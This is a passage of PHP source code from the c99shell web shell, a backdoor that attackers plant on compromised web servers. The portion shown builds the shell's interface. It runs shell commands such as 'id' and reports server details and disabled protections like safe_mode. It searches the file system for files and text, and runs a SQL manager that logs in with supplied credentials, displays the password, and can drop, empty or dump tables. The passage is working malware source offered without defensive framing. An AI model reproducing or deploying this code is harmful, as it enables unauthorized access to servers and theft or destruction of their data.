1259 if (!empty($functs[$k]))
1260 {
1261 $value .= ")";
1262 }
1263 $result .= "`" . $k . "` = " . $value . $sep;
1264 }
1265 $result = substr($result, 0, strlen($result) - strlen($sep));
1266 return $result;
1267 }
1268 }
1269 if (!function_exists("mysql_fetch_all"))
1270 {
1271 function mysql_fetch_all($query, $sock)
1272 {
1273 if ($sock)
1274 {
1275 $result = mysql_query($query, $sock);
1276 }
1277 else
1278 {
1279 $result = mysql_query($query);
1280 }
1281 $array = array();
1282 while ($row = mysql_fetch_array($result))
1283 {
1284 $array[] = $row;
1285 }
1286 mysql_free_result($result);
1287 return $array;
1288 }
1289 }
1290 if (!function_exists("mysql_smarterror"))
1291 {
1292 function mysql_smarterror($type, $sock)
1293 {
1294 if ($sock)
1295 {
1296 $error = mysql_error($sock);
1297 }
1298 else
1299 {
1300 $error = mysql_error();
1301 }
1302 $error = htmlspecialchars($error);
1303 return $error;
1304 }
1305 }
1306 if (!function_exists("mysql_query_form"))
1307 {
1308 function mysql_query_form()
1309 {
1310 global $submit, $sql_act, $sql_query, $sql_query_result, $sql_confirm, $sql_query_error, $tbl_struct;
1311 if (($submit) and (!$sql_query_result) and ($sql_confirm))
1312 {
1313 if (!$sql_query_error)
1314 {
1315 $sql_query_error = "Query was empty";
1316 }
1317 echo "<b>Error:</b> <br>" . $sql_query_error . "<br>";
1318 }
1319 if ($sql_query_result or (!$sql_confirm))
1320 {
1321 $sql_act = $sql_goto;
1322 }
1323 if ((!$submit) or ($sql_act))
1324 {
1325 echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>";
1326 if (($sql_query) and (!$submit))
1327 {
1328 echo "Do you really want to";
1329 }
1330 else
1331 {
1332 echo "SQL-Query";
1333 }
1334 echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>" . htmlspecialchars($sql_query) . "</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"" . htmlspecialchars($sql_tbl) . "\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"" . htmlspecialchars($sql_goto) . "\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
1335 if ($tbl_struct)
1336 {
1337 echo "<td valign=\"top\"><b>Fields:</b><br>";
1338 foreach ($tbl_struct as $field)
1339 {
1340 $name = $field["Field"];
1341 echo "» <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`" . $name . "`';\"><b>" . $name . "</b></a><br>";
1342 }
1343 echo "</td></tr></table>";
1344 }
1345 }
1346 if ($sql_query_result or (!$sql_confirm))
1347 {
1348 $sql_query = $sql_last_query;
1349 }
1350 }
1351 }
1352 if (!function_exists("mysql_create_db"))
1353 {
1354 function mysql_create_db($db, $sock = "")
1355 {
1356 $sql = "CREATE DATABASE `" . addslashes($db) . "`;";
1357 if ($sock)
1358 {
1359 return mysql_query($sql, $sock);
1360 }
1361 else
1362 {
1363 return mysql_query($sql);
1364 }
1365 }
1366 }
1367 if (!function_exists("mysql_query_parse"))
1368 {
1369 function mysql_query_parse($query)
1370 {
1371 $query = trim($query);
1372 $arr = explode(" ", $query);
1373 $types = array(
1374 "SELECT" => array(
1375 3,
1376 1
1377 ) ,
1378 "SHOW" => array(
1379 2,
1380 1
1381 ) ,
1382 "DELETE" => array(
1383 1
1384 ) ,
1385 "DROP" => array(
1386 1
1387 )
1388 );
1389 $result = array();
1390 $op = strtoupper($arr[0]);
1391 if (is_array($types[$op]))
1392 {
1393 $result["propertions"] = $types[$op];
1394 $result["query"] = $query;
1395 if ($types[$op] == 2)
1396 {
1397 foreach ($arr as $k => $v)
1398 {
1399 if (strtoupper($v) == "LIMIT")
1400 {
1401 $result["limit"] = $arr[$k + 1];
1402 $result["limit"] = explode(",", $result["limit"]);
1403 if (count($result["limit"]) == 1)
1404 {
1405 $result["limit"] = array(
1406 0,
1407 $result["limit"][0]
1408 );
1409 }
1410 unset($arr[$k], $arr[$k + 1]);
1411 }
1412 }
1413 }
1414 }
1415 else
1416 {
1417 return false;
1418 }
1419 }
1420 }
1421 if (!function_exists("c99fsearch"))
1422 {
1423 function c99fsearch($d)
1424 {
1425 global $found;
1426 global $found_d;
1427 global $found_f;
1428 global $search_i_f;
1429 global $search_i_d;
1430 global $a;
1431 if (substr($d, -1) != DIRECTORY_SEPARATOR)
1432 {
1433 $d .= DIRECTORY_SEPARATOR;
1434 }
1435 $h = opendir($d);
1436 while (($f = readdir($h)) !== false)
1437 {
1438 if ($f != "." && $f != "..")
1439 {
1440 $bool = (empty($a["name_regexp"]) and strpos($f, $a["name"]) !== false) || ($a["name_regexp"] and preg_match($a["name"], $f));
1441 if (is_dir($d . $f))
1442 {
1443 $search_i_d++;
1444 if (empty($a["text"]) and $bool)
1445 {
1446 $found[] = $d . $f;
1447 $found_d++;
1448 }
1449 if (!is_link($d . $f))
1450 {
1451 c99fsearch($d . $f);
1452 }
1453 }
1454 else
1455 {
1456 $search_i_f++;
1457 if ($bool)
1458 {
1459 if (!empty($a["text"]))
1460 {
1461 $r = @file_get_contents($d . $f);
1462 if ($a["text_wwo"])
1463 {
1464 $a["text"] = " " . trim($a["text"]) . " ";
1465 }
1466 if (!$a["text_cs"])
1467 {
1468 $a["text"] = strtolower($a["text"]);
1469 $r = strtolower($r);
1470 }
1471 if ($a["text_regexp"])
1472 {
1473 $bool = preg_match($a["text"], $r);
1474 }
1475 else
1476 {
1477 $bool = strpos(" " . $r, $a["text"], 1);
1478 }
1479 if ($a["text_not"])
1480 {
1481 $bool = !$bool;
1482 }
1483 if ($bool)
1484 {
1485 $found[] = $d . $f;
1486 $found_f++;
1487 }
1488 }
1489 else
1490 {
1491 $found[] = $d . $f;
1492 $found_f++;
1493 }
1494 }
1495 }
1496 }
1497 }
1498 closedir($h);
1499 }
1500 }
1501 if ($act == "gofile")
1502 {
1503 if (is_dir($f))
1504 {
1505 $act = "ls";
1506 $d = $f;
1507 }
1508 else
1509 {
1510 $act = "f";
1511 $d = dirname($f);
1512 $f = basename($f);
1513 }
1514 }
1515 @ob_start();
1516 @ob_implicit_flush(0);
1517 function onphpshutdown()
1518 {
1519 global $gzipencode, $ft;
1520 if (!headers_sent() and $gzipencode and !in_array($ft, array(
1521 "img",
1522 "download",
1523 "notepad"
1524 )))
1525 {
1526 $v = @ob_get_contents();
1527 @ob_end_clean();
1528 @ob_start("ob_gzHandler");
1529 echo $v;
1530 @ob_end_flush();
1531 }
1532 }
1533 function c99shexit()
1534 {
1535 onphpshutdown();
1536 exit;
1537 }
1538 header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
1539 header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
1540 header("Cache-Control: no-store, no-cache, must-revalidate");
1541 header("Cache-Control: post-check=0, pre-check=0", false);
1542 header("Pragma: no-cache");
1543 if (empty($tmpdir))
1544 {
1545 $tmpdir = ini_get("upload_tmp_dir");
1546 if (is_dir($tmpdir))
1547 {
1548 $tmpdir = "/tmp/";
1549 }
1550 }
1551 $tmpdir = realpath($tmpdir);
1552 $tmpdir = str_replace("\\", DIRECTORY_SEPARATOR, $tmpdir);
1553 if (substr($tmpdir, -1) != DIRECTORY_SEPARATOR)
1554 {
1555 $tmpdir .= DIRECTORY_SEPARATOR;
1556 }
1557 if (empty($tmpdir_logs))
1558 {
1559 $tmpdir_logs = $tmpdir;
1560 }
1561 else
1562 {
1563 $tmpdir_logs = realpath($tmpdir_logs);
1564 }
1565 if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
1566 {
1567 $safemode = true;
1568 $hsafemode = "<font color=red>ON (secure)</font>";
1569 }
1570 else
1571 {
1572 $safemode = false;
1573 $hsafemode = "<font color=green>OFF (not secure)</font>";
1574 }
1575 $v = @ini_get("open_basedir");
1576 if ($v or strtolower($v) == "on")
1577 {
1578 $openbasedir = true;
1579 $hopenbasedir = "<font color=red>" . $v . "</font>";
1580 }
1581 else
1582 {
1583 $openbasedir = false;
1584 $hopenbasedir = "<font color=green>OFF (not secure)</font>";
1585 }
1586 $sort = htmlspecialchars($sort);
1587 if (empty($sort))
1588 {
1589 $sort = $sort_default;
1590 }
1591 $sort[1] = strtolower($sort[1]);
1592 $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
1593 if (!preg_match("PHP/" . phpversion() , $DISP_SERVER_SOFTWARE))
1594 {
1595 $DISP_SERVER_SOFTWARE .= ". PHP/" . phpversion();
1596 }
1597 $DISP_SERVER_SOFTWARE = str_replace("PHP/" . phpversion() , "<a href=\"" . $surl . "act=phpinfo\" target=\"_blank\"><b><u>PHP/" . phpversion() . "</u></b></a>", htmlspecialchars($DISP_SERVER_SOFTWARE));
1598 @ini_set("highlight.bg", $highlight_bg);
1599 @ini_set("highlight.comment", $highlight_comment);
1600 @ini_set("highlight.default", $highlight_default);
1601 @ini_set("highlight.html", $highlight_html);
1602 @ini_set("highlight.keyword", $highlight_keyword);
1603 @ini_set("highlight.string", $highlight_string);
1604 if (!is_array($actbox))
1605 {
1606 $actbox = array();
1607 }
1608 $dspact = $act = htmlspecialchars($act);
1609 $disp_fullpath = $ls_arr = $notls = null;
1610 $ud = urlencode($d); ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c99shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software: <?php echo $DISP_SERVER_SOFTWARE; ?></b> </p><p align="left"><b>uname -a: <?php echo wordwrap(php_uname() , 90, "<br>", 1); ?></b> </p><p align="left"><b><?php if (!$win)
1611 {
1612 echo wordwrap(myshellexec("id") , 90, "<br>", 1);
1613 }
1614 else
1615 {
1616 echo get_current_user();
1617 } ?></b> </p><p align="left"><b>Safe-mode: <?php echo $hsafemode; ?></b></p><p align="left"><?php $d = str_replace("\\", DIRECTORY_SEPARATOR, $d);
1618 if (empty($d))
1619 {
1620 $d = realpath(".");
1621 }
1622 elseif (realpath($d))
1623 {
1624 $d = realpath($d);
1625 }
1626 $d = str_replace("\\", DIRECTORY_SEPARATOR, $d);
1627 if (substr($d, -1) != DIRECTORY_SEPARATOR)
1628 {
1629 $d .= DIRECTORY_SEPARATOR;
1630 }
1631 $d = str_replace("\\\\", "\\", $d);
1632 $dispd = htmlspecialchars($d);
1633 $pd = $e = explode(DIRECTORY_SEPARATOR, substr($d, 0, -1));
1634 $i = 0;
1635 foreach ($pd as $b)
1636 {
1637 $t = "";
1638 $j = 0;
1639 foreach ($e as $r)
1640 {
1641 $t .= $r . DIRECTORY_SEPARATOR;
1642 if ($j == $i)
1643 {
1644 break;
1645 }
1646 $j++;
1647 }
1648 echo "<a href=\"" . $surl . "act=ls&d=" . urlencode($t) . "&sort=" . $sort . "\"><b>" . htmlspecialchars($b) . DIRECTORY_SEPARATOR . "</b></a>";
1649 $i++;
1650 }
1651 echo " ";
1652 if (is_writable($d))
1653 {
1654 $wd = true;
1655 $wdt = "<font color=green>[ ok ]</font>";
1656 echo "<b><font color=green>" . view_perms(fileperms($d)) . "</font></b>";
1657 }
1658 else
1659 {
1660 $wd = false;
1661 $wdt = "<font color=red>[ Read-Only ]</font>";
1662 echo "<b>" . view_perms_color($d) . "</b>";
1663 }
1664 if (is_callable("disk_free_space"))
1665 {
1666 $free = disk_free_space($d);
1667 $total = disk_total_space($d);
1668 if ($free === false)
1669 {
1670 $free = 0;
1671 }
1672 if ($total === false)
1673 {
1674 $total = 0;
1675 }
1676 if ($free < 0)
1677 {
1678 $free = 0;
1679 }
1680 if ($total < 0)
1681 {
1682 $total = 0;
1683 }
1684 $used = $total - $free;
1685 $free_percent = round(100 / ($total / $free) , 2);
1686 echo "<br><b>Free " . view_size($free) . " of " . view_size($total) . " (" . $free_percent . "%)</b>";
1687 }
1688 echo "<br>";
1689 $letters = "";
1690 if ($win)
1691 {
1692 $v = explode("\\", $d);
1693 $v = $v[0];
1694 foreach (range("a", "z") as $letter)
1695 {
1696 $bool = $isdiskette = in_array($letter, $safemode_diskettes);
1697 if (!$bool)
1698 {
1699 $bool = is_dir($letter . ":\\");
1700 }
1701 if ($bool)
1702 {
1703 $letters .= "<a href=\"" . $surl . "act=ls&d=" . urlencode($letter . ":\\") . "\"" . ($isdiskette ? " onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"" : "") . ">[ ";
1704 if ($letter . ":" != $v)
1705 {
1706 $letters .= $letter;
1707 }
1708 else
1709 {
1710 $letters .= "<font color=green>" . $letter . "</font>";
1711 }
1712 $letters .= " ]</a> ";
1713 }
1714 }
1715 if (!empty($letters))
1716 {
1717 echo "<b>Detected drives</b>: " . $letters . "<br>";
1718 }
1719 }
1720 if (count($quicklaunch) > 0)
1721 {
1722 foreach ($quicklaunch as $item)
1723 {
1724 $item[1] = str_replace("%d", urlencode($d) , $item[1]);
1725 $item[1] = str_replace("%sort", $sort, $item[1]);
1726 $v = realpath($d . "..");
1727 if (empty($v))
1728 {
1729 $a = explode(DIRECTORY_SEPARATOR, $d);
1730 unset($a[count($a) - 2]);
1731 $v = join(DIRECTORY_SEPARATOR, $a);
1732 }
1733 $item[1] = str_replace("%upd", urlencode($v) , $item[1]);
1734 echo "<a href=\"" . $item[1] . "\">" . $item[0] . "</a> ";
1735 }
1736 }
1737 echo "</p></td></tr></table><br>";
1738 if ((!empty($donated_html)) and (in_array($act, $donated_act)))
1739 {
1740 echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">" . $donated_html . "</td></tr></table><br>";
1741 }
1742 echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
1743 if ($act == "")
1744 {
1745 $act = $dspact = "ls";
1746 }
1747 if ($act == "sql")
1748 {
1749 $sql_surl = $surl . "act=sql";
1750 if ($sql_login)
1751 {
1752 $sql_surl .= "&sql_login=" . htmlspecialchars($sql_login);
1753 }
1754 if ($sql_passwd)
1755 {
1756 $sql_surl .= "&sql_passwd=" . htmlspecialchars($sql_passwd);
1757 }
1758 if ($sql_server)
1759 {
1760 $sql_surl .= "&sql_server=" . htmlspecialchars($sql_server);
1761 }
1762 if ($sql_port)
1763 {
1764 $sql_surl .= "&sql_port=" . htmlspecialchars($sql_port);
1765 }
1766 if ($sql_db)
1767 {
1768 $sql_surl .= "&sql_db=" . htmlspecialchars($sql_db);
1769 }
1770 $sql_surl .= "&"; ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php if ($sql_server)
1771 {
1772 $sql_sock = mysql_connect($sql_server . ":" . $sql_port, $sql_login, $sql_passwd);
1773 $err = mysql_smarterror();
1774 @mysql_select_db($sql_db, $sql_sock);
1775 if ($sql_query and $submit)
1776 {
1777 $sql_query_result = mysql_query($sql_query, $sql_sock);
1778 $sql_query_error = mysql_smarterror();
1779 }
1780 }
1781 else
1782 {
1783 $sql_sock = false;
1784 }
1785 echo "<b>SQL Manager:</b><br>";
1786 if (!$sql_sock)
1787 {
1788 if (!$sql_server)
1789 {
1790 echo "NO CONNECTION";
1791 }
1792 else
1793 {
1794 echo "<center><b>Can't connect</b></center>";
1795 echo "<b>" . $err . "</b>";
1796 }
1797 }
1798 else
1799 {
1800 $sqlquicklaunch = array();
1801 $sqlquicklaunch[] = array(
1802 "Index",
1803 $surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&"
1804 );
1805 $sqlquicklaunch[] = array(
1806 "Query",
1807 $sql_surl . "sql_act=query&sql_tbl=" . urlencode($sql_tbl)
1808 );
1809 $sqlquicklaunch[] = array(
1810 "Server-status",
1811 $surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_act=serverstatus"
1812 );
1813 $sqlquicklaunch[] = array(
1814 "Server variables",
1815 $surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_act=servervars"
1816 );
1817 $sqlquicklaunch[] = array(
1818 "Processes",
1819 $surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_act=processes"
1820 );
1821 $sqlquicklaunch[] = array(
1822 "Logout",
1823 $surl . "act=sql"
1824 );
1825 echo "<center><b>MySQL " . mysql_get_server_info() . " (proto v." . mysql_get_proto_info() . ") running in " . htmlspecialchars($sql_server) . ":" . htmlspecialchars($sql_port) . " as " . htmlspecialchars($sql_login) . "@" . htmlspecialchars($sql_server) . " (password - \"" . htmlspecialchars($sql_passwd) . "\")</b><br>";
1826 if (count($sqlquicklaunch) > 0)
1827 {
1828 foreach ($sqlquicklaunch as $item)
1829 {
1830 echo "[ <a href=\"" . $item[1] . "\"><b>" . $item[0] . "</b></a> ] ";
1831 }
1832 }
1833 echo "</center>";
1834 }
1835 echo "</td></tr><tr>";
1836 if (!$sql_sock)
1837 { ?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td> <b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b> </td><td><b>Database</b> </td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php
1838 }
1839 else
1840 {
1841 if (!empty($sql_db))
1842 { ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&"; ?>"><b>Home</b></a><hr size="1" noshade><?php $result = mysql_list_tables($sql_db);
1843 if (!$result)
1844 {
1845 echo mysql_smarterror();
1846 }
1847 else
1848 {
1849 echo "---[ <a href=\"" . $sql_surl . "&\"><b>" . htmlspecialchars($sql_db) . "</b></a> ]---<br>";
1850 $c = 0;
1851 while ($row = mysql_fetch_array($result))
1852 {
1853 $count = mysql_query("SELECT COUNT(*) FROM " . $row[0]);
1854 $count_row = mysql_fetch_array($count);
1855 echo "<b>» <a href=\"" . $sql_surl . "sql_db=" . htmlspecialchars($sql_db) . "&sql_tbl=" . htmlspecialchars($row[0]) . "\"><b>" . htmlspecialchars($row[0]) . "</b></a> (" . $count_row[0] . ")</br></b>";
1856 mysql_free_result($count);
1857 $c++;
1858 }
1859 if (!$c)
1860 {
1861 echo "No tables found in database.";
1862 }
1863 }
1864 }
1865 else
1866 { ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php $result = mysql_list_dbs($sql_sock);
1867 if (!$result)
1868 {
1869 echo mysql_smarterror();
1870 }
1871 else
1872 { ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php $c = 0;
1873 $dbs = "";
1874 while ($row = mysql_fetch_row($result))
1875 {
1876 $dbs .= "<option value=\"" . $row[0] . "\"";
1877 if ($sql_db == $row[0])
1878 {
1879 $dbs .= " selected";
1880 }
1881 $dbs .= ">" . $row[0] . "</option>";
1882 $c++;
1883 }
1884 echo "<option value=\"\">Databases (" . $c . ")</option>";
1885 echo $dbs;
1886 } ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
1887 }
1888 echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
1889 $diplay = true;
1890 if ($sql_db)
1891 {
1892 if (!is_numeric($c))
1893 {
1894 $c = 0;
1895 }
1896 if ($c == 0)
1897 {
1898 $c = "no";
1899 }
1900 echo "<hr size=\"1\" noshade><center><b>There are " . $c . " table(s) in this DB (" . htmlspecialchars($sql_db) . ").<br>";
1901 if (count($dbquicklaunch) > 0)
1902 {
1903 foreach ($dbsqlquicklaunch as $item)
1904 {
1905 echo "[ <a href=\"" . $item[1] . "\">" . $item[0] . "</a> ] ";
1906 }
1907 }
1908 echo "</b></center>";
1909 $acts = array(
1910 "",
1911 "dump"
1912 );
1913 if ($sql_act == "tbldrop")
1914 {
1915 $sql_query = "DROP TABLE";
1916 foreach ($boxtbl as $v)
1917 {
1918 $sql_query .= "\n`" . $v . "` ,";
1919 }
1920 $sql_query = substr($sql_query, 0, -1) . ";";
1921 $sql_act = "query";
1922 }
1923 elseif ($sql_act == "tblempty")
1924 {
1925 $sql_query = "";
1926 foreach ($boxtbl as $v)
1927 {
1928 $sql_query .= "DELETE FROM `" . $v . "` \n";
1929 }
1930 $sql_act = "query";
1931 }
1932 elseif ($sql_act == "tbldump")
1933 {
1934 if (count($boxtbl) > 0)
1935 {
1936 $dmptbls = $boxtbl;
1937 }
1938 elseif ($thistbl)
1939 {
1940 $dmptbls = array(
1941 $sql_tbl
1942 );
1943 }
1944 $sql_act = "dump";
1945 }
1946 elseif ($sql_act == "tblcheck")
1947 {
1948 $sql_query = "CHECK TABLE";
1949 foreach ($boxtbl as $v)
1950 {
1951 $sql_query .= "\n`" . $v . "` ,";
1952 }
1953 $sql_query = substr($sql_query, 0, -1) . ";";
1954 $sql_act = "query";
1955 }
1956 elseif ($sql_act == "tbloptimize")
1957 {
1958 $sql_query = "OPTIMIZE TABLE";
1959 foreach ($boxtbl as $v)
1960 {
1961 $sql_query .= "\n`" . $v . "` ,";
1962 }
1963 $sql_query = substr($sql_query, 0, -1) . ";";
1964 $sql_act = "query";
1965 }
1966 elseif ($sql_act == "tblrepair")
1967 {
1968 $sql_query = "REPAIR TABLE";
1969 foreach ($boxtbl as $v)
1970 {
1971 $sql_query .= "\n`" . $v . "` ,";
1972 }
1973 $sql_query = substr($sql_query, 0, -1) . ";";
1974 $sql_act = "query";
1975 }
1976 elseif ($sql_act == "tblanalyze")
1977 {
1978 $sql_query = "ANALYZE TABLE";
1979 foreach ($boxtbl as $v)
1980 {
1981 $sql_query .= "\n`" . $v . "` ,";
1982 }
1983 $sql_query = substr($sql_query, 0, -1) . ";";
1984 $sql_act = "query";
1985 }
1986 elseif ($sql_act == "deleterow")
1987 {
1988 $sql_query = "";
1989 if (!empty($boxrow_all))
1990 {
1991 $sql_query = "DELETE * FROM `" . $sql_tbl . "`;";
1992 }
1993 else
1994 {
1995 foreach ($boxrow as $v)
1996 {
1997 $sql_query .= "DELETE * FROM `" . $sql_tbl . "` WHERE" . $v . " LIMIT 1;\n";
1998 }
1999 $sql_query = substr($sql_query, 0, -1);
2000 }
2001 $sql_act = "query";
2002 }
2003 elseif ($sql_tbl_act == "insert")
2004 {
2005 if ($sql_tbl_insert_radio == 1)
2006 {
2007 $keys = "";
2008 $akeys = array_keys($sql_tbl_insert);
2009 foreach ($akeys as $v)
2010 {
2011 $keys .= "`" . addslashes($v) . "`, ";
2012 }
2013 if (!empty($keys))
2014 {
2015 $keys = substr($keys, 0, strlen($keys) - 2);
2016 }
2017 $values = "";
2018 $i = 0;
2019 foreach (array_values($sql_tbl_insert) as $v)
2020 {
2021 if ($funct = $sql_tbl_insert_functs[$akeys[$i]])
2022 {
2023 $values .= $funct . " (";
2024 }
2025 $values .= "'" . addslashes($v) . "'";
2026 if ($funct)
2027 {
2028 $values .= ")";
2029 }
2030 $values .= ", ";
2031 $i++;
2032 }
2033 if (!empty($values))
2034 {
2035 $values = substr($values, 0, strlen($values) - 2);
2036 }
2037 $sql_query = "INSERT INTO `" . $sql_tbl . "` ( " . $keys . " ) VALUES ( " . $values . " );";
2038 $sql_act = "query";
2039 $sql_tbl_act = "browse";
2040 }
2041 elseif ($sql_tbl_insert_radio == 2)
2042 {
2043 $set = mysql_buildwhere($sql_tbl_insert, ", ", $sql_tbl_insert_functs);
2044 $sql_query = "UPDATE `" . $sql_tbl . "` SET " . $set . " WHERE " . $sql_tbl_insert_q . " LIMIT 1;";
2045 $result = mysql_query($sql_query) or print (mysql_smarterror());
2046 $result = mysql_fetch_array($result, MYSQL_ASSOC);
2047 $sql_act = "query";
2048 $sql_tbl_act = "browse";
2049 }
2050 }
2051 if ($sql_act == "query")
2052 {
2053 echo "<hr size=\"1\" noshade>";
2054 if (($submit) and (!$sql_query_result) and ($sql_confirm))
2055 {
2056 if (!$sql_query_error)
2057 {
2058 $sql_query_error = "Query was empty";
2059 }
2060 echo "<b>Error:</b> <br>" . $sql_query_error . "<br>";
2061 }
2062 if ($sql_query_result or (!$sql_confirm))
2063 {
2064 $sql_act = $sql_goto;
2065 }
2066 if ((!$submit) or ($sql_act))
2067 {
2068 echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"" . $sql_surl . "\" method=\"POST\"><b>";
2069 if (($sql_query) and (!$submit))
2070 {
2071 echo "Do you really want to:";
2072 }
2073 else
2074 {
2075 echo "SQL-Query :";
2076 }
